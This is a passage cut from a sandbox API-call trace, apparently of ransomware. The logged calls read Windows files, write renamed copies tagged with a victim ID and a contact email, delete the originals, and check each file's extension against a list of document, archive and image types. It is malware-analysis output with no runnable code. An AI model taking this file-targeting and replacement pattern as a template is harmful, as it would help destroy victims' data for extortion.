lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.522] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0084.525] GetLastError () returned 0x0 [0084.525] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xe3b, lpOverlapped=0x0) returned 1 [0084.527] WriteFile (in: hFile=0x320, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe40, lpOverlapped=0x0) returned 1 [0084.528] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0084.528] WriteFile (in: hFile=0x320, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0084.528] SetEndOfFile (hFile=0x320) returned 1 [0084.528] CloseHandle (hObject=0x320) returned 1 [0084.532] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.532] SetEndOfFile (hFile=0x328) returned 1 [0084.533] CloseHandle (hObject=0x328) returned 1 [0084.533] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.533] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0084.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.534] lstrlenW (lpString=".doc") returned 4 [0084.534] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.534] lstrlenW (lpString=".docx") returned 5 [0084.534] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.534] lstrlenW (lpString=".pdf") returned 4 [0084.534] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.534] lstrlenW (lpString=".xls") returned 4 [0084.534] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.534] lstrlenW (lpString=".xlsx") returned 5 [0084.534] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.534] lstrlenW (lpString=".ppt") returned 4 [0084.534] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.534] lstrlenW (lpString=".zip") returned 4 [0084.534] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.534] lstrlenW (lpString=".rar") returned 4 [0084.534] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.534] lstrlenW (lpString=".bz2") returned 4 [0084.534] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.534] lstrlenW (lpString=".7z") returned 3 [0084.534] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.535] lstrlenW (lpString=".dbf") returned 4 [0084.535] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.535] lstrlenW (lpString=".1cd") returned 4 [0084.535] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.535] lstrlenW (lpString=".jpg") returned 4 [0084.535] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.535] lstrlenW (lpString=".doc") returned 4 [0084.535] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.535] lstrlenW (lpString=".docx") returned 5 [0084.536] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.536] lstrlenW (lpString=".pdf") returned 4 [0084.536] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.536] lstrlenW (lpString=".xls") returned 4 [0084.536] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.536] lstrlenW (lpString=".xlsx") returned 5 [0084.536] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.536] lstrlenW (lpString=".ppt") returned 4 [0084.536] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.536] lstrlenW (lpString=".zip") returned 4 [0084.536] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.536] lstrlenW (lpString=".rar") returned 4 [0084.536] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.536] lstrlenW (lpString=".bz2") returned 4 [0084.536] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.536] lstrlenW (lpString=".7z") returned 3 [0084.536] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.536] lstrlenW (lpString=".dbf") returned 4 [0084.536] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.536] lstrlenW (lpString=".1cd") returned 4 [0084.536] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0084.536] lstrlenW (lpString=".jpg") returned 4 [0084.536] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.537] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0084.537] lstrlenW (lpString="LocalizedData.xml") returned 17 [0084.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.537] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=80060) returned 1 [0084.537] CloseHandle (hObject=0x328) returned 1 [0084.537] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0084.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.538] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.538] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.538] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.538] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0084.539] GetLastError () returned 0x0 [0084.539] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x138bc, lpOverlapped=0x0) returned 1 [0084.542] WriteFile (in: hFile=0x320, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x138c0, lpOverlapped=0x0) returned 1 [0084.545] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0084.545] WriteFile (in: hFile=0x320, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf6, lpOverlapped=0x0) returned 1 [0084.546] SetEndOfFile (hFile=0x320) returned 1 [0084.546] CloseHandle (hObject=0x320) returned 1 [0084.549] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.549] SetEndOfFile (hFile=0x328) returned 1 [0084.550] CloseHandle (hObject=0x328) returned 1 [0084.551] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.551] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0084.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.552] lstrlenW (lpString=".doc") returned 4 [0084.552] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.552] lstrlenW (lpString=".docx") returned 5 [0084.552] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.552] lstrlenW (lpString=".pdf") returned 4 [0084.552] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.552] lstrlenW (lpString=".xls") returned 4 [0084.552] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.552] lstrlenW (lpString=".xlsx") returned 5 [0084.552] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.552] lstrlenW (lpString=".ppt") returned 4 [0084.552] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.552] lstrlenW (lpString=".zip") returned 4 [0084.552] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.552] lstrlenW (lpString=".rar") returned 4 [0084.552] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.552] lstrlenW (lpString=".bz2") returned 4 [0084.552] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.552] lstrlenW (lpString=".7z") returned 3 [0084.552] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.552] lstrlenW (lpString=".dbf") returned 4 [0084.552] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.553] lstrlenW (lpString=".1cd") returned 4 [0084.553] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.553] lstrlenW (lpString=".jpg") returned 4 [0084.553] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.553] lstrlenW (lpString=".doc") returned 4 [0084.553] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.553] lstrlenW (lpString=".docx") returned 5 [0084.553] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.553] lstrlenW (lpString=".pdf") returned 4 [0084.553] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.553] lstrlenW (lpString=".xls") returned 4 [0084.553] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.553] lstrlenW (lpString=".xlsx") returned 5 [0084.553] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.553] lstrlenW (lpString=".ppt") returned 4 [0084.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.553] lstrlenW (lpString=".zip") returned 4 [0084.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.554] lstrlenW (lpString=".rar") returned 4 [0084.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.554] lstrlenW (lpString=".bz2") returned 4 [0084.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.554] lstrlenW (lpString=".7z") returned 3 [0084.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.554] lstrlenW (lpString=".dbf") returned 4 [0084.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.554] lstrlenW (lpString=".1cd") returned 4 [0084.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0084.554] lstrlenW (lpString=".jpg") returned 4 [0084.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.554] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0084.554] lstrlenW (lpString="eula.rtf") returned 8 [0084.554] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.555] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=10125) returned 1 [0084.555] CloseHandle (hObject=0x328) returned 1 [0084.555] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0084.555] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.555] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.555] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.555] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.555] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0085.634] GetLastError () returned 0x0 [0085.634] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x278d, lpOverlapped=0x0) returned 1 [0085.637] WriteFile (in: hFile=0x34c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2790, lpOverlapped=0x0) returned 1 [0085.638] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0085.638] WriteFile (in: hFile=0x34c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0085.638] SetEndOfFile (hFile=0x34c) returned 1 [0085.638] CloseHandle (hObject=0x34c) returned 1 [0085.639] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0085.639] SetEndOfFile (hFile=0x328) returned 1 [0085.641] CloseHandle (hObject=0x328) returned 1 [0085.641] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.641] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0085.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.642] lstrlenW (lpString=".doc") returned 4 [0085.642] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.642] lstrlenW (lpString=".docx") returned 5 [0085.642] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.642] lstrlenW (lpString=".pdf") returned 4 [0085.642] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.642] lstrlenW (lpString=".xls") returned 4 [0085.642] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.642] lstrlenW (lpString=".xlsx") returned 5 [0085.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.642] lstrlenW (lpString=".ppt") returned 4 [0085.642] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.642] lstrlenW (lpString=".zip") returned 4 [0085.642] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.642] lstrlenW (lpString=".rar") returned 4 [0085.642] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.642] lstrlenW (lpString=".bz2") returned 4 [0085.642] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.642] lstrlenW (lpString=".7z") returned 3 [0085.642] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.642] lstrlenW (lpString=".dbf") returned 4 [0085.642] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.643] lstrlenW (lpString=".1cd") returned 4 [0085.643] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.643] lstrlenW (lpString=".jpg") returned 4 [0085.643] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.643] lstrlenW (lpString=".doc") returned 4 [0085.643] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.643] lstrlenW (lpString=".docx") returned 5 [0085.643] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.643] lstrlenW (lpString=".pdf") returned 4 [0085.643] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.643] lstrlenW (lpString=".xls") returned 4 [0085.643] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.643] lstrlenW (lpString=".xlsx") returned 5 [0085.643] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.643] lstrlenW (lpString=".ppt") returned 4 [0085.643] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.643] lstrlenW (lpString=".zip") returned 4 [0085.643] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.643] lstrlenW (lpString=".rar") returned 4 [0085.643] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.643] lstrlenW (lpString=".bz2") returned 4 [0085.644] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.644] lstrlenW (lpString=".7z") returned 3 [0085.644] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.644] lstrlenW (lpString=".dbf") returned 4 [0085.644] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.644] lstrlenW (lpString=".1cd") returned 4 [0085.644] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0085.644] lstrlenW (lpString=".jpg") returned 4 [0085.644] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.644] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0085.644] lstrlenW (lpString="LocalizedData.xml") returned 17 [0085.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0085.645] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=80738) returned 1 [0085.645] CloseHandle (hObject=0x328) returned 1 [0085.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0085.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0085.645] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0085.645] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0085.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0085.646] GetLastError () returned 0x0 [0085.646] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x13b62, lpOverlapped=0x0) returned 1 [0085.649] WriteFile (in: hFile=0x34c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13b70, lpOverlapped=0x0) returned 1 [0085.652] ReadFile (in: hFile=0x328, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0085.652] WriteFile (in: hFile=0x34c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf6, lpOverlapped=0x0) returned 1 [0085.652] SetEndOfFile (hFile=0x34c) returned 1 [0085.653] CloseHandle (hObject=0x34c) returned 1 [0085.656] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0085.656] SetEndOfFile (hFile=0x328) returned 1 [0085.657] CloseHandle (hObject=0x328) returned 1 [0085.657] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.658] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0085.658] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.658] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0085.658] lstrlenW (lpString=".doc") returned 4 [0085.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.658] lstrlenW (lpString=".docx") returned 5 [0085.658] lstrcmpiW 